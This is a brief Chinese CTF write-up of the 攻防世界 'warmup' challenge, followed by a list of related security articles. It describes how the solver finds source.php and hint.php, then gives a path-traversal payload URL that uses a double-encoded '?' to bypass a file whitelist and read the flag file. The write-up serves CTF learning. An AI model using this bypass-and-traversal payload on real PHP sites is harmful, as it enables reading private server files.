原题
解题思路
只有一张图片，就查看源代码，有一个source.php。
查看source.php，白名单中还有一个hint.php。
hint.php告诉我们flag的位置ffffllllaaaagggg
但是直接跳转是没用的，构造payload。
http://61.147.171.105:55725/source.php?file=source.php%253f/../../../../../../ffffllllaaaagggg
攻防世界-warmup
mysmartwish2023-08-20 23:17
原题
相关推荐
Demons_kirit1 小时前
CTFHub 信息泄露通关笔记：Git泄露 Log - 教程小天源2 小时前
从 Nginx 日志到访问分析：轻量化网站监测服务的架构实践ManageEngine卓豪6 小时前
企业网络安全建设实践：2026 威胁态势、合规基线与分层防御落地QZ166560951597 小时前
可视化易用·低误报率·跨区域部署：知源-AI数据分类分级系统在金融行业的落地实践2501_915909068 小时前
抓包工具断点拦截是什么？如何半路拦截修改 HTTP 请求大方子10 小时前
【PolarCTF】PHP_Deserialization持敬chijing12 小时前
白盒测试与代码审计-Claude Code Windows环境搭建Vitaliy Kostrov（柯维远）13 小时前
客户端如何检查直播流：从流内标记到停止播放sbjdhjd1 天前
从签名重放到 Agent Harness：一堂安全课程如何把前端逆向、MCP 与工程约束串起来持敬chijing2 天前
白盒测试与代码审计-js登录逆向实战